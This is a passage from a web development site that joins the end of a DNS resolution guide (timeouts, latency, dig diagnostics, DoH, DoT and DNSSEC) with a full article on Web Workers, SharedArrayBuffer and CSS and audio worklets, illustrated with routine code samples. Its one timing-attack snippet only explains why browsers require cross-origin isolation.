### Timeout and Retry Behavior

RFC 1035 leaves retry logic to implementations. Typical patterns:

1. Send query to first configured server
2. Wait timeout period (1-5 seconds)
3. No response → try next server
4. Cycle through all servers
5. End of cycle → double timeout (exponential backoff)
6. Maximum retries (typically 2-4)

**Early termination:** Any NXDOMAIN response stops retries—it's a definitive negative answer.

## Latency Bottlenecks and Mitigation

### Where Latency Hides

1. **Cache misses**: Dominant factor. Cold cache resolution takes 100-400ms; cached response <1ms
2. **Geographic distance**: Authoritative servers on another continent add 100-200ms RTT
3. **Packet loss**: Triggers retries with exponential backoff; one lost packet can add seconds
4. **Lame delegations**: NS records pointing to non-responsive servers waste query attempts
5. **DNSSEC validation**: Additional queries for DNSKEY and DS records

### Anycast

All root servers and most major TLD/public resolvers use anycast—multiple servers share a single IP address, and BGP routes queries to the topologically nearest instance.

**Benefits:**

- Reduces RTT by routing to nearby instances
- Distributes DDoS traffic across instances
- Improves availability (instance failure → traffic reroutes)

**Caveat:** "Nearest" means fewest network hops, not geographic distance. A query from Tokyo might route to a Singapore instance even if there's one in Tokyo, depending on BGP policies.

### Mitigation Strategies

| Strategy                           | Mechanism                          | Trade-off                     |
| ---------------------------------- | ---------------------------------- | ----------------------------- |
| **Aggressive caching**             | Longer TTLs                        | Slower propagation of changes |
| **Prefetching**                    | Refresh before expiry              | Additional background queries |
| **Serve-stale**                    | Return expired data during outages | Risk of stale data            |
| **Multiple authoritative servers** | Geographic distribution            | Operational complexity        |
| **Low TTL during migrations**      | 60-300 seconds temporarily         | Higher authoritative load     |

### Browser DNS Prefetching

Browsers speculatively resolve hostnames found in page links:

- Reduces perceived latency by parallelizing DNS with page load
- Disabled by default on HTTPS pages (privacy concern)
- Controlled via `X-DNS-Prefetch-Control` header or `<link rel="dns-prefetch">`

## Diagnostics with dig and drill

### Basic Query

```bash
$ dig api.example.com

; <<>> DiG 9.18.18 <<>> api.example.com
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12345
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; ANSWER SECTION:
api.example.com.    300    IN    A    93.184.216.50

;; Query time: 23 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
```

Key fields:

- `status: NOERROR` — Query succeeded
- `flags: qr rd ra` — Query Response, Recursion Desired, Recursion Available
- `Query time: 23 msec` — Round-trip to recursive resolver

### Trace Mode

```bash
$ dig +trace api.example.com
```

Trace mode bypasses the recursive resolver and performs iterative resolution directly, showing each hop:

```
.                       518400  IN  NS  a.root-servers.net.
...
com.                    172800  IN  NS  a.gtld-servers.net.
...
example.com.            172800  IN  NS  ns1.example.com.
...
api.example.com.        300     IN  A   93.184.216.50
```

This reveals which server returned each referral and helps identify where resolution stalls.

### Check Specific Server

```bash
$ dig @ns1.example.com api.example.com
```

Query a specific nameserver directly. Useful for verifying authoritative server configuration or comparing responses across replicas.

### Inspect TTL and Caching

```bash
$ dig +norecurse @8.8.8.8 api.example.com
```

The `+norecurse` flag asks the resolver to return only cached data. If the record isn't cached, you'll get a referral or empty response.

### DNSSEC Validation

```bash
$ dig +dnssec example.com
```

Requests DNSSEC records (RRSIG, DNSKEY) in the response. Check the `ad` (Authenticated Data) flag in the response header—if set, the resolver validated the DNSSEC chain.

## Modern DNS: Encryption and Security

### DNS over HTTPS (DoH) — RFC 8484

DoH encapsulates DNS queries in HTTPS, providing:

- **Confidentiality**: TLS encrypts the query and response
- **Integrity**: TLS prevents tampering
- **Authentication**: Server certificate validates resolver identity

DoH uses the `application/dns-message` media type with standard DNS wire format. It integrates with HTTP caching—HTTP freshness lifetime MUST be ≤ smallest Answer TTL.

**Trade-offs:**

- Pro: Bypasses network-level DNS interception/filtering
- Con: Centralizes DNS at browser-configured resolver (often Cloudflare or Google)
- Con: Breaks enterprise DNS policies and split-horizon setups

### DNS over TLS (DoT) — RFC 7858

DoT runs DNS over TLS on port 853. Unlike DoH, it's a dedicated protocol, not tunneled through HTTP.

**Design decision:** RFC 7858 mandates port 853 for DoT and prohibits port 53. This separation reduces downgrade attack risk but makes DoT easier to block at the network level.

### DNSSEC — RFC 4033-4035

DNSSEC provides cryptographic authentication of DNS responses:

1. Zone operator signs records with private key
2. Signatures published as RRSIG records
3. Public key published as DNSKEY record
4. Parent zone publishes DS record (hash of child's DNSKEY)
5. Resolver follows chain of trust from root to target

**NSEC/NSEC3** provide authenticated denial—proof that a name doesn't exist, preventing attackers from forging NXDOMAIN responses.

**Adoption:** DNSSEC is widely deployed at TLDs but inconsistently at domain level. Validation failures result in SERVFAIL, which can break resolution for misconfigured zones.

## Conclusion

DNS resolution is deceptively simple on the surface—a name goes in, an IP comes out. The underlying system is a distributed, hierarchical database with caching at every layer. Performance depends on cache hit rates; reliability depends on redundant authoritative servers and proper delegation. When debugging DNS issues, trace the path: stub → recursive → root → TLD → authoritative. Check TTLs, verify RCODE, and use `+trace` to pinpoint where resolution fails.

## Appendix

### Prerequisites

- TCP/IP networking fundamentals
- Basic command-line familiarity (`dig`, `nslookup`)
- Understanding of client-server architecture

### Terminology

| Term                     | Definition                                                        |
| ------------------------ | ----------------------------------------------------------------- |
| **Stub resolver**        | DNS client library that forwards queries to a recursive resolver  |
| **Recursive resolver**   | Server that performs iterative resolution and maintains cache     |
| **Authoritative server** | Server that holds definitive records for a zone                   |
| **TTL**                  | Time To Live; seconds a record may be cached                      |
| **RCODE**                | Response Code; 4-bit field indicating query result                |
| **Glue record**          | A/AAAA record embedded in referral to break circular dependencies |
| **Anycast**              | Routing technique where multiple servers share one IP address     |
| **DNSSEC**               | DNS Security Extensions; cryptographic authentication of DNS data |
| **DoH**                  | DNS over HTTPS (RFC 8484)                                         |
| **DoT**                  | DNS over TLS (RFC 7858)                                           |

### Summary

- DNS resolution flows from stub → recursive → root → TLD → authoritative, following referrals down the namespace tree
- Caching at the recursive resolver dominates latency; TTLs control cache lifetime
- Negative responses (NXDOMAIN, NODATA) are cached using SOA.MINIMUM
- SERVFAIL indicates resolution failure; use `dig +trace` to identify the failing hop
- Modern DNS adds encryption (DoH, DoT) and authentication (DNSSEC)
- Anycast distributes load and reduces latency for root/TLD servers

### References

- [RFC 1034 - Domain Names: Concepts and Facilities](https://www.rfc-editor.org/rfc/rfc1034) - Foundational DNS architecture
- [RFC 1035 - Domain Names: Implementation and Specification](https://www.rfc-editor.org/rfc/rfc1035) - Wire format, message structure
- [RFC 9499 - DNS Terminology](https://datatracker.ietf.org/doc/rfc9499/) - Current terminology definitions (BCP 219)
- [RFC 2308 - Negative Caching of DNS Queries](https://datatracker.ietf.org/doc/html/rfc2308) - NXDOMAIN/NODATA caching
- [RFC 9520 - Negative Caching of DNS Resolution Failures](https://datatracker.ietf.org/doc/rfc9520/) - Failure caching (December 2023)
- [RFC 6891 - Extension Mechanisms for DNS (EDNS0)](https://datatracker.ietf.org/doc/html/rfc6891) - Larger UDP payloads, extended RCODE
- [RFC 8484 - DNS Queries over HTTPS (DoH)](https://datatracker.ietf.org/doc/html/rfc8484) - DoH specification
- [RFC 7858 - DNS over Transport Layer Security (DoT)](https://datatracker.ietf.org/doc/html/rfc7858) - DoT specification
- [RFC 4033 - DNSSEC Introduction and Requirements](https://datatracker.ietf.org/doc/html/rfc4033) - DNSSEC overview
- [RFC 4034 - DNSSEC Resource Records](https://www.rfc-editor.org/rfc/rfc4034.html) - DNSKEY, DS, RRSIG, NSEC
- [RFC 4035 - DNSSEC Protocol Modifications](https://datatracker.ietf.org/doc/html/rfc4035) - DNSSEC validation process
- [RFC 8767 - Serving Stale Data to Improve DNS Resiliency](https://datatracker.ietf.org/doc/html/rfc8767) - Stale data serving
- [RFC 9609 - Initializing a DNS Resolver with Priming Queries](https://datatracker.ietf.org/doc/rfc9609/) - Root priming (obsoletes RFC 8109)
- [RFC 8020 - NXDOMAIN: There Really Is Nothing Underneath](https://www.rfc-editor.org/rfc/rfc8020) - NXDOMAIN cut behavior
- [IANA DNS Parameters](https://www.iana.org/assignments/dns-parameters) - Authoritative RCODE, QTYPE registries

---

## Web Workers and Worklets for Off-Main-Thread Work

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/browser-apis/web-workers-and-worklets
**Category:** Web Foundations / Browser APIs
**Description:** Concurrency primitives for keeping the main thread responsive. Workers provide general-purpose parallelism via message passing; worklets integrate directly into the browser’s rendering pipeline for synchronized paint, animation, and audio processing.

# Web Workers and Worklets for Off-Main-Thread Work

Concurrency primitives for keeping the main thread responsive. Workers provide general-purpose parallelism via message passing; worklets integrate directly into the browser's rendering pipeline for synchronized paint, animation, and audio processing.

<figure>

![Workers communicate asynchronously via message passing. Worklets integrate synchronously at specific rendering pipeline stages.](./workers-communicate-asynchronously-via-message-passing-worklets-integrate-synchr.svg)

<figcaption>Workers communicate asynchronously via message passing. Worklets integrate synchronously at specific rendering pipeline stages.</figcaption>
</figure>

## Abstract

The browser's main thread handles JavaScript execution, DOM updates, style calculation, layout, paint, and compositing in a single event loop. Long-running JavaScript blocks this entire pipeline, causing dropped frames and unresponsive UI.

**Workers** solve this by running JavaScript in separate threads with isolated memory. Communication happens through `postMessage()` and the Structured Clone Algorithm—data is copied by default, or ownership can be transferred for zero-copy performance. Three worker types serve different purposes: Dedicated Workers for compute-heavy tasks, Shared Workers for cross-tab coordination, and Service Workers for network interception and offline support.

**Worklets** address a different problem: integrating custom code into the rendering pipeline itself. Paint Worklets generate custom CSS images during the paint phase. Animation Worklets produce frames off-thread while staying synchronized with compositing. Audio Worklets process samples on the audio rendering thread with sub-millisecond timing requirements. Worklets sacrifice API flexibility (no DOM, limited globals) for guaranteed synchronization with their pipeline stage.

**SharedArrayBuffer** enables true shared memory when cross-origin isolation is configured, allowing lock-free algorithms via Atomics—but the security requirements and complexity make it suitable only for specific high-performance scenarios.

## Worker Types and Lifecycle

### Dedicated Workers

A Dedicated Worker creates a one-to-one relationship between a script and a worker thread. The worker has its own global scope (`DedicatedWorkerGlobalScope`), event loop, and JavaScript heap.

```js title="Creating a dedicated worker" collapse={1-2,10-15}
// main.js
// Dedicated workers are bound to their creator

const worker = new Worker("/compute-worker.js", {
  type: "module", // Enable ES modules (default: 'classic')
  name: "compute", // Optional name for debugging
})

worker.postMessage({ task: "factorial", n: 1000000n })

// compute-worker.js
self.onmessage = (e) => {
  const result = computeFactorial(e.data.n)
  self.postMessage(result)
}
```

**Lifecycle states** (per WHATWG HTML spec):

| State               | Condition                                                                     | Behavior                    |
| ------------------- | ----------------------------------------------------------------------------- | --------------------------- |
| **Actively needed** | Has a fully active Document owner, or owned by another actively needed worker | Full execution permitted    |
| **Protected**       | Actively needed AND (is SharedWorker, has open ports, or has timers/network)  | Cannot be garbage collected |
| **Permissible**     | Has owners in owner set, or SharedWorker within between-loads timeout         | May be suspended            |
| **Suspendable**     | Permissible but not actively needed                                           | UA may pause event loop     |

Termination occurs when `terminate()` is called or the worker becomes impermissible. Calling `terminate()` immediately sets the closing flag, discards queued tasks, and aborts running scripts—there is no graceful shutdown.

### Shared Workers

Shared Workers implement many-to-one communication: multiple browsing contexts within the same origin connect to a single worker instance.

```js title="Shared worker connection" collapse={1-2,11-20}
// main.js (in multiple tabs)
// Multiple tabs connect to the same named worker

const worker = new SharedWorker("/shared-state.js", "session-state")
worker.port.start()
worker.port.postMessage({ action: "subscribe", channel: "updates" })
worker.port.onmessage = (e) => {
  console.log("Update:", e.data)
}

// shared-state.js
const connections = new Set()

self.onconnect = (e) => {
  const port = e.ports[0]
  connections.add(port)
  port.onmessage = (msg) => {
    // Broadcast to all connected ports
    for (const p of connections) p.postMessage(msg.data)
  }
}
```

Key differences from Dedicated Workers:

- Communication uses explicit `MessagePort` (accessed via `worker.port`)
- The worker survives as long as at least one port remains connected
- `onconnect` fires each time a new context connects
- State persists across page navigations within the same origin

Shared Workers remain alive during the "between-loads shared worker timeout" when a page navigates—allowing reconnection without losing state.

### Service Workers

Service Workers operate under browser control rather than page control. The browser starts them for network events and terminates them when idle.

```js title="Service worker registration" collapse={1-3,12-20}
// main.js
// Service workers are registered, not constructed
// They control pages matching their scope

if ("serviceWorker" in navigator) {
  const reg = await navigator.serviceWorker.register("/sw.js", {
    scope: "/",
    type: "module",
  })
}

// sw.js
self.addEventListener("install", (e) => {
  e.waitUntil(caches.open("v1").then((c) => c.addAll(["/app.js", "/styles.css"])))
})

self.addEventListener("fetch", (e) => {
  e.respondWith(caches.match(e.request).then((r) => r || fetch(e.request)))
})
```

Critical behavioral differences:

| Aspect        | Dedicated/Shared Worker                  | Service Worker                                  |
| ------------- | ---------------------------------------- | ----------------------------------------------- |
| Lifetime      | Developer controls via `new`/`terminate` | Browser controls; may terminate any time        |
| Persistence   | Lives while page is open                 | Persists across page loads and browser restarts |
| Network       | Regular fetch access                     | Intercepts all network requests in scope        |
| DOM access    | None                                     | None (but can communicate with clients)         |
| Start trigger | Explicit construction                    | Network request, push notification, sync event  |

Service Workers must complete event handlers quickly. Long-running operations should use `event.waitUntil()` to extend the worker's lifetime, but the browser may still terminate after a timeout (typically 30 seconds to 5 minutes depending on the event type).

### Module Workers vs Classic Workers

The `type` option determines script loading semantics:

**Classic Workers** (default):

- `importScripts()` synchronously loads and executes scripts
- No `import`/`export` statements (throws `SyntaxError`)
- No strict mode by default
- Top-level `this` refers to the global scope

**Module Workers** (`type: 'module'`):

- Standard ES module semantics with `import`/`export`
- `importScripts()` always throws `TypeError`
- Strict mode enabled, cannot be disabled
- Top-level `this` is `undefined`
- Supports `import.meta.url` for script location
- Enables `<link rel="modulepreload">` for preloading

```js title="Module worker with dynamic import" collapse={1-2,9-12}
// worker.js (type: 'module')
// Dynamic imports work in module workers

import { heavyCompute } from "./compute.js"

self.onmessage = async (e) => {
  // Dynamic import for code splitting
  const { processImage } = await import("./image-processor.js")
  const result = await processImage(e.data)
  self.postMessage(result)
}
```

Module workers have slightly higher initialization overhead due to module resolution, but provide better code organization and tree-shaking opportunities.

## Communication and Data Transfer

### Structured Clone Algorithm

`postMessage()` serializes data using the Structured Clone Algorithm, which recursively copies objects while tracking references to handle cycles:

**Supported types:**

- Primitives (except `Symbol`)
- `Object`, `Array`, `Map`, `Set`
- `Date`, `RegExp`
- `ArrayBuffer`, `TypedArray`, `DataView`
- `Blob`, `File`, `FileList`
- `ImageData`, `ImageBitmap`
- Error objects (limited properties)

**Cannot be cloned:**

- Functions (throws `DataCloneError`)
- DOM nodes
- Property descriptors, getters/setters
- Prototype chain (only own enumerable properties)
- Symbols

```js title="Structured cloning behavior" collapse={1-3,15-20}
// Cycles are preserved
const obj = { name: "circular" }
obj.self = obj
worker.postMessage(obj) // Works—cycle is maintained

// Functions fail
worker.postMessage({ fn: () => {} }) // DataCloneError

// Class instances lose their prototype
class Point {
  constructor(x, y) {
    this.x = x
    this.y = y
  }
}
worker.postMessage(new Point(1, 2))
// Worker receives: { x: 1, y: 2 } (plain object, no Point prototype)

// Maps and Sets are preserved
worker.postMessage(new Map([["key", "value"]]))
// Worker receives: Map { 'key' => 'value' }
```

### Transferable Objects

Transferables move ownership rather than copying—the source context loses access, but transfer is nearly instantaneous regardless of size.

**Transferable types:**

- `ArrayBuffer`
- `MessagePort`
- `ImageBitmap`
- `OffscreenCanvas`
- `ReadableStream`, `WritableStream`, `TransformStream`

```js title="Transferring an ArrayBuffer" collapse={1-2,12-18}
// Create a 100MB buffer
const buffer = new ArrayBuffer(100 * 1024 * 1024)

console.log(buffer.byteLength) // 104857600

// Transfer ownership to worker
worker.postMessage(buffer, [buffer])

console.log(buffer.byteLength) // 0 (detached)

// Worker receives the buffer instantly
// In worker:
self.onmessage = (e) => {
  const received = e.data
  console.log(received.byteLength) // 104857600
  // Worker now owns this buffer
}
```

### Performance Characteristics

Cloning overhead scales with data complexity:

| Data Size | Clone Time | Transfer Time | Recommendation                             |
| --------- | ---------- | ------------- | ------------------------------------------ |
| < 10 KB   | < 1ms      | ~0ms          | Either method acceptable                   |
| 50 KB     | ~5ms       | < 1ms         | Clone for infrequent, transfer for > 60 Hz |
| 100 KB    | ~10ms      | < 1ms         | Transfer if within 16ms frame budget       |
| 1 MB      | ~100ms     | < 1ms         | Must transfer                              |
| 32 MB     | ~300ms     | ~6ms          | Must transfer                              |
| > 200 MB  | Unreliable | ~20-50ms      | Consider streaming/chunking                |

For high-frequency communication (e.g., 60 Hz animation data), even small cloning overhead accumulates. Transfer 64-byte typed arrays if sending them 60 times per second.

### Error Handling

Worker errors propagate via the `error` event:

```js title="Worker error handling" collapse={1-3,14-20}
// Main thread
worker.onerror = (event) => {
  // ErrorEvent properties:
  console.error(`${event.filename}:${event.lineno}:${event.colno}`)
  console.error(event.message)
  event.preventDefault() // Suppress default console error
}

worker.onmessageerror = (event) => {
  // Fires when deserialization fails
  console.error("Failed to deserialize message")
}

// Worker can catch its own errors
self.onerror = (message, filename, lineno, colno, error) => {
  // Return true to prevent propagation to main thread
  return true
}
```

Unhandled promise rejections in workers generate `unhandledrejection` events on the worker global scope, similar to main thread behavior.

## SharedArrayBuffer and Atomics

SharedArrayBuffer enables true concurrent memory access between contexts—but requires cross-origin isolation due to Spectre mitigation requirements.

### Cross-Origin Isolation Requirements

Two HTTP headers must be present:

```
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
```

`COOP: same-origin` breaks the relationship between your page and cross-origin popups (they can't access each other's windows). `COEP: require-corp` requires all cross-origin resources to explicitly opt in via `Cross-Origin-Resource-Policy` headers.

```js title="Checking cross-origin isolation" collapse={1-3}
// Runtime check before using SharedArrayBuffer
if (!crossOriginIsolated) {
  throw new Error("SharedArrayBuffer requires cross-origin isolation")
}

const sab = new SharedArrayBuffer(1024)
const view = new Int32Array(sab)
```

The `credentialless` variant of COEP relaxes requirements by allowing cross-origin resources without CORP headers but stripping their cookies and credentials:

```
Cross-Origin-Embedder-Policy: credentialless
```

### Atomics Operations

Atomics provide synchronization primitives for concurrent access:

```js title="Producer-consumer with Atomics" collapse={1-5,25-35}
// Shared buffer layout:
// [0]: ready flag (0 = not ready, 1 = data available)
// [1-n]: data

const sab = new SharedArrayBuffer(1024)
const control = new Int32Array(sab, 0, 1)
const data = new Float64Array(sab, 8)

// In producer worker:
function produce(value) {
  data[0] = value
  Atomics.store(control, 0, 1) // Mark ready
  Atomics.notify(control, 0, 1) // Wake one waiter
}

// In consumer worker:
function consume() {
  while (Atomics.load(control, 0) === 0) {
    Atomics.wait(control, 0, 0) // Block until notified
  }
  const value = data[0]
  Atomics.store(control, 0, 0) // Mark consumed
  return value
}

// Available atomic operations:
// Atomics.load(ta, index) - atomic read
// Atomics.store(ta, index, value) - atomic write
// Atomics.add(ta, index, value) - atomic add, returns old value
// Atomics.sub(ta, index, value) - atomic subtract
// Atomics.and/or/xor(ta, index, value) - bitwise operations
// Atomics.compareExchange(ta, index, expected, replacement)
// Atomics.exchange(ta, index, value) - atomic swap
// Atomics.wait(ta, index, value, timeout?) - block until changed
// Atomics.notify(ta, index, count?) - wake waiting threads
```

**Critical constraint:** `Atomics.wait()` blocks the calling thread. On the main thread, this blocks rendering entirely. Never use `Atomics.wait()` on the main thread—use `Atomics.waitAsync()` (returns a Promise) instead.

### Design Rationale: Why Cross-Origin Isolation?

SharedArrayBuffer enables high-resolution timing attacks (Spectre-style):

```js title="High-resolution timing via SharedArrayBuffer" collapse={1-2,8-12}
// Attacker spins in a worker, incrementing a counter
// Main thread reads the counter before/after a memory access
// The delta reveals cache timing, potentially leaking memory contents

const sab = new SharedArrayBuffer(4)
const counter = new Int32Array(sab)

// Worker thread (spinning)
while (true) Atomics.add(counter, 0, 1)

// Main thread measures timing
const start = Atomics.load(counter, 0)
// ... memory access ...
const elapsed = Atomics.load(counter, 0) - start
```

Cross-origin isolation contains this threat by:

1. Preventing cross-origin iframes from accessing your browsing context
2. Ensuring no cross-origin window can observe timing side channels
3. Limiting potential information leakage to same-origin resources

## Worklets: Rendering Pipeline Integration

Worklets differ fundamentally from workers: they execute synchronously within specific rendering pipeline stages rather than as independent concurrent threads.

### Why Worklets Exist

Workers cannot solve synchronous rendering needs:

```js title="Why workers fail for paint" collapse={1-4}
// Problem: Worker results arrive too late
worker.postMessage({ width: 100, height: 100 })
worker.onmessage = (e) => {
  // This runs AFTER the current frame has painted
  element.style.backgroundImage = `url(${e.data})`
  // User sees a frame with the OLD background
}
```

Worklets execute during the rendering phase itself:

```css
/* Paint worklet runs during paint phase */
.custom-bg {
  background: paint(custom-gradient);
}
/* Browser calls paint() synchronously before compositing */
```

### Worklet Restrictions

To enable synchronous pipeline integration, worklets sacrifice flexibility:

| Restriction                   | Reason                                     |
| ----------------------------- | ------------------------------------------ |
| No DOM access                 | Would require cross-thread synchronization |
| No `fetch()` or network       | Would block rendering                      |
| No `setTimeout`/`setInterval` | Timing tied to render events               |
| Limited global scope          | Prevents accidental expensive operations   |
| Multiple instances            | Browser may parallelize execution          |

The browser can create multiple worklet global scopes and instantiate your class multiple times. Never rely on instance state persisting across invocations.

### Paint Worklet (CSS Painting API)

Paint Worklets generate custom CSS `<image>` values during the paint phase.

```js title="Registering a paint worklet" collapse={1-4,25-35}
// paint-checkerboard.js
// Paint worklets define custom CSS image generators

class CheckerboardPainter {
  static get inputProperties() {
    return ["--checker-size", "--checker-color-1", "--checker-color-2"]
  }

  paint(ctx, geom, props) {
    const size = parseInt(props.get("--checker-size")) || 32
    const color1 = props.get("--checker-color-1").toString() || "#fff"
    const color2 = props.get("--checker-color-2").toString() || "#000"

    for (let y = 0; y < geom.height; y += size) {
      for (let x = 0; x < geom.width; x += size) {
        const isEven = (x / size + y / size) % 2 === 0
        ctx.fillStyle = isEven ? color1 : color2
        ctx.fillRect(x, y, size, size)
      }
    }
  }
}

registerPaint("checkerboard", CheckerboardPainter)

// main.js - register the worklet
CSS.paintWorklet.addModule("/paint-checkerboard.js")
```

```css title="Using the paint worklet" collapse={1-2}
/* CSS usage */
.checkerboard {
  --checker-size: 20;
  --checker-color-1: #f0f0f0;
  --checker-color-2: #333;
  background: paint(checkerboard);
}
```

**PaintRenderingContext2D** is a subset of `CanvasRenderingContext2D`:

- Supported: `fillRect`, `strokeRect`, `drawImage`, `arc`, `bezierCurveTo`, path operations, transforms
- Not supported: Text rendering (`fillText`, `strokeText`), `getImageData`, `putImageData`

**Browser behavior:**

- Browser may cache results when size, styles, and arguments are unchanged
- Elements outside the viewport may defer painting
- Long-running `paint()` calls may be terminated

**Support (as of 2025):** Chrome/Edge (full), Safari (partial), Firefox (in development).

### Animation Worklet

Animation Worklets produce animation frames off-thread, synchronized with compositing.

```js title="Scroll-linked animation worklet" collapse={1-4,20-30}
// parallax-animator.js
// Animation worklet for scroll-driven effects

class ParallaxAnimator {
  constructor(options) {
    this.rate = options.rate || 0.5
  }

  animate(currentTime, effect) {
    // currentTime comes from the timeline (e.g., scroll position)
    // effect.localTime controls the animation progress
    effect.localTime = currentTime * this.rate
  }
}

registerAnimator("parallax", ParallaxAnimator)

// main.js
await CSS.animationWorklet.addModule("/parallax-animator.js")

const scroller = document.querySelector(".scroll-container")
const target = document.querySelector(".parallax-element")

const animation = new WorkletAnimation(
  "parallax",
  new KeyframeEffect(target, [{ transform: "translateY(0)" }, { transform: "translateY(-200px)" }], {
    duration: 1,
    fill: "both",
  }),
  new ScrollTimeline({ source: scroller }),
  { rate: 0.3 },
)
animation.play()
```

Key differences from Web Animations:

- Animator instances directly control `effect.localTime` rather than inheriting from timeline
- Execution may occur on a separate thread (compositor thread)
- Main thread jank does not affect animation smoothness
- `ScrollTimeline` integration enables scroll-linked effects without scroll event handlers

**Support (as of 2025):** Chrome/Edge (full), Safari/Firefox (not yet implemented).

### Audio Worklet

Audio Worklets process audio samples on the Web Audio rendering thread with strict real-time constraints.

```js title="Custom gain processor" collapse={1-4,25-40}
// gain-processor.js
// Audio worklet for custom sample processing

class GainProcessor extends AudioWorkletProcessor {
  static get parameterDescriptors() {
    return [
      {
        name: "gain",
        defaultValue: 1.0,
        minValue: 0,
        maxValue: 2,
        automationRate: "a-rate", // per-sample automation
      },
    ]
  }

  process(inputs, outputs, parameters) {
    const input = inputs[0]
    const output = outputs[0]
    const gain = parameters.gain

    for (let channel = 0; channel < output.length; channel++) {
      for (let i = 0; i < output[channel].length; i++) {
        // gain may be k-rate (single value) or a-rate (per-sample)
        const g = gain.length > 1 ? gain[i] : gain[0]
        output[channel][i] = input[channel]?.[i] * g || 0
      }
    }
    return true // Continue processing
  }
}

registerProcessor("gain-processor", GainProcessor)

// main.js
const ctx = new AudioContext()
await ctx.audioWorklet.addModule("/gain-processor.js")

const gainNode = new AudioWorkletNode(ctx, "gain-processor")
gainNode.parameters.get("gain").value = 0.5

source.connect(gainNode)
gainNode.connect(ctx.destination)
```

**Render quantum:** Fixed at 128 samples. At 48 kHz sample rate, this is ~2.67ms per callback. Your `process()` must complete within this time or audio glitches occur.

**Communication:** Use `MessagePort` (accessed via `node.port` / `this.port`) for control messages. Never allocate memory or perform I/O in `process()`.

**Support (as of 2025):** All modern browsers (mature API).

### Layout Worklet (Experimental)

Layout Worklets enable custom CSS layout algorithms. The API is under development and not production-ready.

```js title="Layout worklet (experimental)" collapse={1-3}
// Experimental - API may change
// Available in Chrome behind experimental flag

class MasonryLayout {
  static get inputProperties() {
    return ["--columns"]
  }

  async intrinsicSizes(children, edges, styleMap) {
    // Return intrinsic sizing
  }

  async layout(children, edges, constraints, styleMap) {
    // Position children, return fragment
  }
}

registerLayout("masonry", MasonryLayout)
```

**Status (as of 2025):** Hidden behind flags in Chromium. Specification still evolving. Not recommended for production.

## Use-Case Decision Matrix

| Scenario                                  | Recommended                 | Why                                          |
| ----------------------------------------- | --------------------------- | -------------------------------------------- |
| Heavy computation (WASM, crypto, parsing) | Dedicated Worker            | Isolates CPU work from UI                    |
| Cross-tab shared state                    | Shared Worker               | Single instance serves multiple tabs         |
| Offline support, caching                  | Service Worker              | Intercepts network, persists across sessions |
| Custom CSS backgrounds/borders            | Paint Worklet               | Synchronous with paint phase                 |
| Scroll-linked animations                  | Animation Worklet           | Off-compositor-thread, jank-free             |
| Real-time audio effects                   | Audio Worklet               | Runs on audio thread, < 3ms latency          |
| Large binary transfers (> 1 MB)           | Worker + Transferables      | Zero-copy transfer                           |
| Lock-free shared state                    | SharedArrayBuffer + Atomics | True shared memory (requires COOP/COEP)      |

## Debugging and Profiling

### Chrome DevTools

**Workers:**

- Sources panel → Threads sidebar shows all workers
- Console can target specific worker contexts
- Performance panel includes worker activity in flame chart
- Memory panel can snapshot worker heaps

**Worklets:**

- Paint worklets: Use "Rendering" drawer → "Paint flashing" to see repaints
- Audio worklets: `chrome://webaudio-internals` shows audio graph
- Performance panel shows worklet execution in appropriate tracks

### Common Issues

**Worker not starting:**

- Check console for script fetch errors (404, CORS)
- Module workers require correct MIME type (`text/javascript`)
- Mixed content blocks HTTP workers on HTTPS pages

**Messages not received:**

- Verify `port.start()` called for SharedWorker ports
- Check for `DataCloneError` in console (non-clonable data)
- Confirm worker hasn't terminated (`worker.terminate()` is immediate)

**SharedArrayBuffer unavailable:**

- Verify `crossOriginIsolated === true` in console
- Check response headers for COOP/COEP
- Ensure all cross-origin resources have CORP headers

## Conclusion

Workers and worklets serve distinct concurrency needs. Workers provide general-purpose parallelism with message-passing isolation—safe by default, with SharedArrayBuffer available when true shared memory is required. Worklets integrate into the rendering pipeline for use cases where asynchronous communication cannot meet timing requirements.

Choose workers for compute offloading and background tasks. Choose worklets when you need synchronization with paint, animation, or audio rendering phases. For most applications, Dedicated Workers with Transferables provide the best balance of simplicity and performance.

## Appendix

### Prerequisites

- JavaScript event loop and asynchronous execution model
- Basic understanding of browser rendering pipeline (style → layout → paint → composite)
- Familiarity with Promises and async/await
- For SharedArrayBuffer: Understanding of concurrent programming concepts

### Terminology

- **Structured Clone Algorithm:** The serialization mechanism used by `postMessage()` to copy JavaScript values between contexts
- **Transferable:** An object type whose ownership can be moved (not copied) between contexts via `postMessage()`
- **Render Quantum:** The fixed block size (128 samples) processed per Audio Worklet callback
- **Cross-Origin Isolation:** A security mode requiring COOP and COEP headers that enables SharedArrayBuffer

### Summary

- **Dedicated Workers** create 1:1 thread relationships with explicit `terminate()` control
- **Shared Workers** serve multiple tabs with port-based communication and shared state
- **Service Workers** run under browser control for network interception and offline support
- **Module workers** (`type: 'module'`) enable ES module syntax; classic workers use `importScripts()`
- **Structured cloning** copies data; **transferables** move ownership for zero-copy performance
- **SharedArrayBuffer** requires cross-origin isolation (COOP + COEP headers) due to Spectre mitigations
- **Paint Worklets** generate custom CSS images synchronously during paint
- **Animation Worklets** produce frames off-thread, integrated with scroll timelines
- **Audio Worklets** process samples in 128-sample blocks with < 3ms timing requirements

### References

- [WHATWG HTML Living Standard - Workers](https://html.spec.whatwg.org/multipage/workers.html) - Authoritative worker lifecycle and API specification
- [WHATWG HTML - Structured Clone Algorithm](https://html.spec.whatwg.org/multipage/structured-data.html) - Data serialization specification
- [W3C CSS Painting API Level 1](https://drafts.css-houdini.org/css-paint-api-1/) - Paint Worklet specification
- [W3C CSS Animation Worklet API](https://www.w3.org/TR/css-animation-worklet-1/) - Animation Worklet specification
- [W3C Web Audio API - AudioWorklet](https://www.w3.org/TR/webaudio/#audioworklet) - Audio Worklet specification
- [MDN - Web Workers API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API) - Comprehensive API reference
- [MDN - Transferable Objects](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Transferable_objects) - Transferable types reference
- [web.dev - Cross-Origin Isolation Guide](https://web.dev/articles/cross-origin-isolation-guide) - COOP/COEP implementation guide
- [web.dev - Module Workers](https://web.dev/articles/module-workers) - Module worker usage patterns
